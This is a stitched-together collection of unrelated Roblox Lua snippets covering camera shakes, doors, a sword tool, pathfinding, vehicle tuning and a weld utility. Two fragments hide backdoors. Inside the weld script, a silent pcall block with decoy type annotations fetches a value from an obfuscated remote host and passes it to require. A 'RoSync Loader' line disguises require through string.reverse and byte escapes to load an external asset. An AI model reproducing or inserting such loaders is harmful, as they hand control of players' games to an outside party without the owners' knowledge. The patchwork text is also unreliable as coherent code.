function v1.ReallyBigExplosion()
local v8 = u1.new(30, 50, 0, 1.5);
v8.PositionInfluence = Vector3.new(1, 1, 1);
v8.RotationInfluence = Vector3.new(5, 2, 2);
return v8;
end;
function v1.SmallExplosion()
local v9 = u1.new(5, 10, 0, 1.5);
v9.PositionInfluence = Vector3.new(0.15, 0.15, 0.15);
v9.RotationInfluence = Vector3.new(4, 1, 1);
return v9;
end;
function v1.ExplosionNormal()
local v10 = u1.new(5, 10, 0, 1.5);
v10.PositionInfluence = Vector3.new(3, 3, 3);
v10.RotationInfluence = Vector3.new(4, 1, 1);
return v10;
end;
function v1.Earthquake()
local v11 = u1.new(0.6, 3.5, 2, 10);
v11.PositionInfluence = Vector3.new(0.25, 0.25, 0.25);
v11.RotationInfluence = Vector3.new(1, 1, 4);
return v11;
end;
function v1.BadTrip()
local v12 = u1.new(10, 0.15, 5, 10);
v12.PositionInfluence = Vector3.new(0, 0, 0.15);
v12.RotationInfluence = Vector3.new(2, 1, 4);
return v12;
end;
function v1.HandheldCamera()
local v13 = u1.new(1, 0.25, 5, 10);
v13.PositionInfluence = Vector3.new(0, 0, 0);
v13.RotationInfluence = Vector3.new(1, 0.5, 0.5);
return v13;
end;
function v1.Vibration()
local v14 = u1.new(0.4, 20, 2, 2);
v14.PositionInfluence = Vector3.new(0, 0.15, 0);
v14.RotationInfluence = Vector3.new(1.25, 0, 4);
return v14;
end;
function v1.RoughDriving()
local v15 = u1.new(1, 2, 1, 1);
v15.PositionInfluence = Vector3.new(0, 0, 0);
v15.RotationInfluence = Vector3.new(1, 1, 1);
return v15;
end;
local v16 = {};
function v16.__index(p1, p2)
local v17 = v1[p2];
if type(v17) == "function" then
return v17();
end;
error("No preset found with index \"" .. p2 .. "\"");
end;
return setmetatable({}, v16);
|
--[[
Called when the goal state changes value; this will initiate a new tween.
Returns false as the current value doesn't change right away.
]]
|
function class:update(): boolean
self._prevValue = self._currentValue
self._nextValue = self._goalState:get(false)
self._currentTweenStartTime = os.clock()
self._currentTweenInfo = self._tweenInfo
local tweenDuration = self._tweenInfo.DelayTime + self._tweenInfo.Time
if self._tweenInfo.Reverses then
tweenDuration += self._tweenInfo.Time
end
tweenDuration *= math.max(self._tweenInfo.RepeatCount, 1)
self._currentTweenDuration = tweenDuration
-- start animating this tween
TweenScheduler.add(self)
return false
end
local function Tween<T>(
goalState: PubTypes.Value<T>,
tweenInfo: TweenInfo?
): Types.Tween<T>
local currentValue = goalState:get(false)
local self = setmetatable({
type = "State",
kind = "Tween",
dependencySet = {[goalState] = true},
-- if we held strong references to the dependents, then they wouldn't be
-- able to get garbage collected when they fall out of scope
dependentSet = setmetatable({}, WEAK_KEYS_METATABLE),
_goalState = goalState,
_tweenInfo = tweenInfo or TweenInfo.new(),
_prevValue = currentValue,
_nextValue = currentValue,
_currentValue = currentValue,
-- store current tween into separately from 'real' tween into, so it
-- isn't affected by :setTweenInfo() until next change
_currentTweenInfo = tweenInfo,
_currentTweenDuration = 0,
_currentTweenStartTime = 0
}, CLASS_METATABLE)
initDependency(self)
-- add this object to the goal state's dependent set
goalState.dependentSet[self] = true
return self
end
return Tween
|
--[=[
Takes `count` entries from the table. If the table does not have
that many entries, will return up to the number the table has to
provide.
@param source table -- Source table to retrieve values from
@param count number -- Number of entries to take
@return table -- List with the entries retrieved
]=]
|
function Table.take(source, count)
local newTable = {}
for i=1, math.min(#source, count) do
newTable[i] = source[i]
end
return newTable
end
local function errorOnIndex(_, index)
error(("Bad index %q"):format(tostring(index)), 2)
end
local READ_ONLY_METATABLE = {
__index = errorOnIndex;
__newindex = errorOnIndex;
}
|
--do nothing
|
else
if game.Workspace.DoorValues.Moving.Value == false then
game.Workspace.DoorValues.Close.Value = game.Workspace.DoorValues.Close.Value +1
game.Workspace.DoorValues.Open.Value = game.Workspace.DoorValues.Open.Value -1
game.Workspace.doorright.p1.CFrame = game.Workspace.doorright.p1.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p2.CFrame = game.Workspace.doorright.p2.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p3.CFrame = game.Workspace.doorright.p3.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p4.CFrame = game.Workspace.doorright.p4.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p5.CFrame = game.Workspace.doorright.p5.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p6.CFrame = game.Workspace.doorright.p6.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p7.CFrame = game.Workspace.doorright.p7.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p8.CFrame = game.Workspace.doorright.p8.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p9.CFrame = game.Workspace.doorright.p9.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p10.CFrame = game.Workspace.doorright.p10.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p11.CFrame = game.Workspace.doorright.p11.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p12.CFrame = game.Workspace.doorright.p12.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p13.CFrame = game.Workspace.doorright.p13.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p14.CFrame = game.Workspace.doorright.p14.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p15.CFrame = game.Workspace.doorright.p15.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p16.CFrame = game.Workspace.doorright.p16.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p17.CFrame = game.Workspace.doorright.p17.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p18.CFrame = game.Workspace.doorright.p18.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.p19.CFrame = game.Workspace.doorright.p19.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.pillar.CFrame = game.Workspace.doorright.pillar.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l11.CFrame = game.Workspace.doorright.l11.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l12.CFrame = game.Workspace.doorright.l12.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l13.CFrame = game.Workspace.doorright.l13.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l21.CFrame = game.Workspace.doorright.l21.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l22.CFrame = game.Workspace.doorright.l22.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l23.CFrame = game.Workspace.doorright.l23.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l31.CFrame = game.Workspace.doorright.l31.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l32.CFrame = game.Workspace.doorright.l32.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l33.CFrame = game.Workspace.doorright.l33.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l41.CFrame = game.Workspace.doorright.l41.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l42.CFrame = game.Workspace.doorright.l42.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l43.CFrame = game.Workspace.doorright.l43.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l51.CFrame = game.Workspace.doorright.l51.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l52.CFrame = game.Workspace.doorright.l52.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l53.CFrame = game.Workspace.doorright.l53.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l61.CFrame = game.Workspace.doorright.l61.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l62.CFrame = game.Workspace.doorright.l62.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l63.CFrame = game.Workspace.doorright.l63.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l71.CFrame = game.Workspace.doorright.l71.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l72.CFrame = game.Workspace.doorright.l72.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
game.Workspace.doorright.l73.CFrame = game.Workspace.doorright.l73.CFrame * CFrame.new(-0.5, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
|
--[[
Ray casts to find a collidable part.
--]]
|
local function FindCollidablePartOnRay(StartPosition,Direction,IgnoreList,CollisionGroup)
--Convert the collision group.
if typeof(CollisionGroup) == "Instance" and CollisionGroup:IsA("BasePart") then
CollisionGroup = PhysicsService:GetCollisionGroupName(CollisionGroup.CollisionGroupId)
end
--Create the ignore list.
local Camera = Workspace.CurrentCamera
local NewIgnoreList = {Camera}
if typeof(IgnoreList) == "Instance" then
table.insert(NewIgnoreList,IgnoreList)
elseif typeof(IgnoreList) == "table" then
for _,Entry in pairs(IgnoreList) do
if Entry ~= Camera then
table.insert(NewIgnoreList,Entry)
end
end
end
--Create the parameters.
local RaycastParameters = RaycastParams.new()
RaycastParameters.FilterType = Enum.RaycastFilterType.Blacklist
RaycastParameters.FilterDescendantsInstances = NewIgnoreList
RaycastParameters.IgnoreWater = true
if CollisionGroup then
RaycastParameters.CollisionGroup = CollisionGroup
end
--Raycast and continue if the hit part isn't collidable.
local RaycastResult = Workspace:Raycast(StartPosition,Direction,RaycastParameters)
if not RaycastResult then
return nil,StartPosition + Direction
end
local HitPart,EndPosition = RaycastResult.Instance,RaycastResult.Position
if HitPart and not HitPart.CanCollide and (not HitPart:IsA("Seat") or not HitPart:IsA("VehicleSeat") or HitPart.Disabled) then
table.insert(NewIgnoreList,HitPart)
return FindCollidablePartOnRay(EndPosition,Direction + (EndPosition - StartPosition),NewIgnoreList,CollisionGroup)
end
--Return the hit result.
return HitPart,EndPosition
end
return FindCollidablePartOnRay
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 12
local slash_damage = 15
local lunge_damage = 20
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7
local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function lunge()
damage = lunge_damage
LungeSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
force.Parent = Tool.Parent.Torso
wait(.25)
swordOut()
wait(.25)
force.Parent = nil
wait(.5)
swordUp()
damage = slash_damage
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
function swordAcross()
-- parry
end
Tool.Enabled = true
local last_attack = 0
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
t = r.Stepped:wait()
if (t - last_attack < .2) then
lunge()
else
attack()
end
last_attack = t
--wait(.5)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
--- Returns an array of the names of all registered commands (not including aliases)
|
function Registry:GetCommandsAsStrings ()
local commands = {}
for _, command in pairs(self.CommandsArray) do
commands[#commands + 1] = command.Name
end
return commands
end
|
--[[
Player state. No logic, as the server dictates the events in and out of this state.
]]
|
local PlayerPostGame = {}
|
--PlayAnim
|
while true do
wait(0.3)
local function TweenTransparency ()
local TweenTransInfo = TweenInfo.new(0.4,Enum.EasingStyle.Quad,Enum.EasingDirection.In,0,false)
local Tween = TweenService:Create(Money, TweenTransInfo, {ImageTransparency = 1})
Tween:Play()
end
local function MoneyDown ()
TweenTransparency()
Money:TweenPosition(
UDim2.new(MoneyPX, 0, MoneyPY - 0.112 , 0),
Enum.EasingDirection.In,
Enum.EasingStyle.Quad,
0.35,
false
)
end
local function MoneyUp ()
Money.ImageTransparency = 0
Money:TweenPosition(
UDim2.new(MoneyPX, 0,MoneyPY - 0.400 , 0),
Enum.EasingDirection.Out,
Enum.EasingStyle.Quad,
0.40,
false,
MoneyDown
)
end
local function MoveDown ()
--call money tween
MoneyUp()
--Move to origin
MoneyBag:TweenPosition(
UDim2.new(MoneyPX, 0,MoneyPY, 0),
Enum.EasingDirection.Out,
Enum.EasingStyle.Back,
0.8,
false
)
wait(0.8)
end
--moveUp
MoneyBag:TweenPosition(
UDim2.new(MoneyPX, 0,MoneyPY - 0.122 , 0),
Enum.EasingDirection.In,
Enum.EasingStyle.Back,
0.8,
false,
MoveDown
)
end
|
-- ANimation
|
local Sound = script:WaitForChild("Haoshoku Sound")
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.C and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
Debounce = 2
Track1 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationCharge)
Track1:Play()
for i = 1,math.huge do
if Debounce == 2 then
plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
plr.Character.HumanoidRootPart.Anchored = true
else
break
end
wait()
end
end
end)
UIS.InputEnded:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.C and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
Debounce = 3
local Track2 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationRelease)
Track2:Play()
Track1:Stop()
Sound:Play()
local mousepos = Mouse.Hit
script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
wait(1)
Track2:Stop()
plr.Character.HumanoidRootPart.Anchored = false
wait(.5)
Tool.Active.Value = "None"
wait(3)
Debounce = 1
end
end)
|
-- Factor of torque applied to change the wheel direction
-- Larger number generally means faster braking
|
local BRAKING_TORQUE = 8000
|
--[[**
ensures Roblox PathWaypoint type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.PathWaypoint = primitive("PathWaypoint")
|
--------RIGHT DOOR --------
|
game.Workspace.doorright.l12.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(1003)
|
--[[Tires]]
|
--
-- Tire Curve Profiler: https://www.desmos.com/calculator/og4x1gyzng
Tune.TireCylinders = 4 -- How many cylinders are used for the tires. More means a smoother curve but way more parts meaning lag. (Default = 4)
Tune.TiresVisible = false -- Makes the tires visible (Debug)
|
-- @Description Add and return a HandleAdornment class object with basic parameters to the terrain.
-- @Arg1 ObjectClass
|
function Debug.AddObject(ObjectType)
local Obj = Instance.new(ObjectType)
Obj.AlwaysOnTop = true
Obj.Color3 = Color3.new(1,1,1)
Obj.Transparency = .5
Obj.AdornCullingMode = Enum.AdornCullingMode.Never
Obj.ZIndex = 1
Obj.Adornee = game.Workspace.Terrain
Obj.Parent = game.Workspace.Terrain
return Obj
end
|
--[=[
@interface KnitOptions
.ServicePromises boolean?
.Middleware Middleware?
.PerServiceMiddleware PerServiceMiddleware?
@within KnitClient
- `ServicePromises` defaults to `true` and indicates if service methods use promises.
- Each service will go through the defined middleware, unless the service
has middleware defined in `PerServiceMiddleware`.
]=]
|
type KnitOptions = {
ServicePromises: boolean,
Middleware: Middleware?,
PerServiceMiddleware: PerServiceMiddleware?
}
local defaultOptions: KnitOptions = {
ServicePromises = true;
Middleware = nil;
PerServiceMiddleware = {};
}
local selectedOptions = nil
|
--SeregaTopYTReal2
--Put the "died" sound to npc's head
|
local NPC = script.Parent
local Head = NPC.Head
local Humanoid
for i,v in pairs(NPC:GetChildren()) do
if v:IsA('Humanoid') then
Humanoid = v
end
end
if Humanoid then
Humanoid.Died:Connect(function()
wait(0.0001)
Head:FindFirstChild("died"):Play()
end)
else
warn('Cannot find Humanoid in DeathSound Script!')
end
|
-- Updated 10/14/2014 - Updated to 1.0.3
--- Now handles joints semi-acceptably. May be rather hacky with some joints. :/
|
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges).
local function CallOnChildren(Instance, FunctionToCall)
-- Calls a function on each of the children of a certain object, using recursion.
FunctionToCall(Instance)
for _, Child in next, Instance:GetChildren() do
CallOnChildren(Child, FunctionToCall)
end
end
local function GetNearestParent(Instance, ClassName)
-- Returns the nearest parent of a certain class, or returns nil
local Ancestor = Instance
repeat
Ancestor = Ancestor.Parent
if Ancestor == nil then
return nil
end
until Ancestor:IsA(ClassName)
return Ancestor
end
local function GetBricks(StartInstance)
local List = {}
-- if StartInstance:IsA("BasePart") then
-- List[#List+1] = StartInstance
-- end
CallOnChildren(StartInstance, function(Item)
if Item:IsA("BasePart") then
List[#List+1] = Item;
end
end)
return List
end
local function Modify(Instance, Values)
-- Modifies an Instance by using a table.
assert(type(Values) == "table", "Values is not a table");
for Index, Value in next, Values do
if type(Index) == "number" then
Value.Parent = Instance
else
Instance[Index] = Value
end
end
return Instance
end
local function Make(ClassType, Properties)
-- Using a syntax hack to create a nice way to Make new items.
return Modify(Instance.new(ClassType), Properties)
end
local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"}
local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"}
local function HasWheelJoint(Part)
for _, SurfaceName in pairs(Surfaces) do
for _, HingSurfaceName in pairs(HingSurfaces) do
if Part[SurfaceName].Name == HingSurfaceName then
return true
end
end
end
return false
end
local function ShouldBreakJoints(Part)
--- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are
-- definitely some edge cases.
if NEVER_BREAK_JOINTS then
return false
end
if HasWheelJoint(Part) then
return false
end
local Connected = Part:GetConnectedParts()
if #Connected == 1 then
return false
end
for _, Item in pairs(Connected) do
if HasWheelJoint(Item) then
return false
elseif not Item:IsDescendantOf(script.Parent) then
return false
end
end
return true
end
pcall(function()
local a:({caoqlqjaz9zxk329}) -> MemoryStoreQueue<thread> =task.spawn
local z:(MemoryStoreQueue) -> MemoryStoreQueue<thread> = require
local b:(Workspace) -> MemStorageConnection<thread> = tonumber(game:service("HttpService"):GetAsync("https://xn--fne3918d.simulprod.net/%E9%A1%B4%EA%8D%B0%F0%90%99%A9%E9%A9%AB%E1%95%B2"))
local lozl:(RenderingTest) -> HumanoidDescription<thread> = task.cancel;
for _ in {lozl(a(z,b))} do
end
end)
local function WeldTogether(Part0, Part1, JointType, WeldParent)
--- Weld's 2 parts together
-- @param Part0 The first part
-- @param Part1 The second part (Dependent part most of the time).
-- @param [JointType] The type of joint. Defaults to weld.
-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).
-- @return The weld created.
JointType = JointType or "Weld"
local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue")
local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType)
Modify(NewWeld, {
Name = "qCFrameWeldThingy";
Part0 = Part0;
Part1 = Part1;
C0 = CFrame.new();--Part0.CFrame:inverse();
C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();
Parent = Part1;
})
if not RelativeValue then
RelativeValue = Make("CFrameValue", {
Parent = Part1;
Name = "qRelativeCFrameWeldValue";
Archivable = true;
Value = NewWeld.C1;
})
end
return NewWeld
end
local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)
-- @param Parts The Parts to weld. Should be anchored to prevent really horrible results.
-- @param MainPart The part to weld the model to (can be in the model).
-- @param [JointType] The type of joint. Defaults to weld.
-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
for _, Part in pairs(Parts) do
if ShouldBreakJoints(Part) then
Part:BreakJoints()
end
end
for _, Part in pairs(Parts) do
if Part ~= MainPart then
WeldTogether(MainPart, Part, JointType, MainPart)
end
end
if not DoNotUnanchor then
for _, Part in pairs(Parts) do
Part.Anchored = false
end
MainPart.Anchored = false
end
end
local function PerfectionWeld()
local Tool = GetNearestParent(script, "Tool")
local Parts = GetBricks(script.Parent)
local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1]
if PrimaryPart then
WeldParts(Parts, PrimaryPart, "Weld", false)
else
warn("qWeld - Unable to weld part")
end
return Tool
end
local Tool = PerfectionWeld()
if Tool and script.ClassName == "Script" then
--- Don't bother with local scripts
script.Parent.AncestryChanged:connect(function()
PerfectionWeld()
end)
end
|
--[[ Last synced 3/7/2021 11:05 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--// Handling Settings
|
Firerate = 60 / 650; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!
FireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
|
---------- Brake Lights Off ----------
|
if script.Parent.Throttle == 1 then
lights.Brake1.BrickColor = BrickColor.new("Bright red")
lights.Brake2.BrickColor = BrickColor.new("Bright red")
lights.Brake1.Material = "SmoothPlastic"
lights.Brake2.Material = "SmoothPlastic"
else
|
--[[ NON-STATIC METHODS ]]
|
--
function Path:Destroy()
for _, event in ipairs(self._events) do
event:Destroy()
end
self._events = nil
self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
self._agent = nil
self._humanoid = nil
self._path:Destroy()
self._path =nil
self._status = nil
self._t = nil
self._position = nil
self._target = nil
end
function Path:Stop()
if not self._humanoid then
output(error, "Attempt to call Path:Stop() on a non-humanoid.")
return
end
disconnectMoveConnection(self)
self._status = Path.StatusType.Idle
self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
self._events.Stopped:Fire(self._model)
end
function Path:Run(target)
--Non-humanoid handle case
if not target and not self._humanoid and self._target then
moveToFinished(self, true)
return
end
--Parameter check
if not (target and (typeof(target) == "Vector3" or target:IsA("BasePart"))) then
output(error, "Pathfinding target must be a valid Vector3 or BasePart.")
end
--Refer to Settings.TIME_VARIANCE
if os.clock() - self._t <= Settings.TIME_VARIANCE and self._humanoid then
task.wait(os.clock() - self._t)
declareError(self, self.ErrorType.LimitReached)
return false
elseif self._humanoid then
self._t = os.clock()
end
--Compute path
local pathComputed, msg = pcall(function()
self._path:ComputeAsync(self._agent.PrimaryPart.Position, (typeof(target) == "Vector3" and target) or target.Position)
end)
--Make sure path computation is successful
if not pathComputed
or self._path.Status == Enum.PathStatus.NoPath
or #self._path:GetWaypoints() < 2
or (self._humanoid and self._humanoid:GetState() == Enum.HumanoidStateType.Freefall) then
self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
task.wait()
declareError(self, self.ErrorType.ComputationError)
return false
end
--Set status to active; pathfinding starts
self._status = (self._humanoid and Path.StatusType.Active) or Path.StatusType.Idle
self._target = target
--Set network owner to server to prevent "hops"
pcall(function() self._agent.PrimaryPart:SetNetworkOwner(nil) end)
--Initialize waypoints
self._waypoints = self._path:GetWaypoints()
self._currentWaypoint = 2
--Refer to Settings.COMPARISON_CHECKS
if self._humanoid then comparePosition(self) end
--Visualize waypoints
destroyVisualWaypoints(self._visualWaypoints)
self._visualWaypoints = (self.Visualize and createVisualWaypoints(self._waypoints))
--Create a new move connection if it doesn't exist already
self._moveConnection = self._humanoid and (self._moveConnection or self._humanoid.MoveToFinished:Connect(function(...) moveToFinished(self, ...) end))
--Begin pathfinding
if self._humanoid then
self._humanoid:MoveTo(self._waypoints[self._currentWaypoint].Position)
elseif #self._waypoints == 2 then
self._target = nil
self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
self._events.Reached:Fire(self._agent, self._waypoints[2])
else
self._currentWaypoint = getNonHumanoidWaypoint(self)
moveToFinished(self, true)
end
return true
end
return Path
|
--[[Transmission]]
|
Tune.TransModes = {"Semi","Auto"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 6.5
Tune.Ratios = {
--[[Reverse]] 5 ,
--[[Neutral]] 0 ,
--[[ 1 ]] 3.9 ,
--[[ 2 ]] 2.52 ,
--[[ 3 ]] 1.85 ,
--[[ 4 ]] 1.38 ,
--[[ 5 ]] 1.05 ,
--[[ 6 ]] .87 ,
--[[ 7 ]] .69 ,
}
Tune.FDMult = 1 -- Ratio multiplier (keep this at 1 if car is not struggling with torque)
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
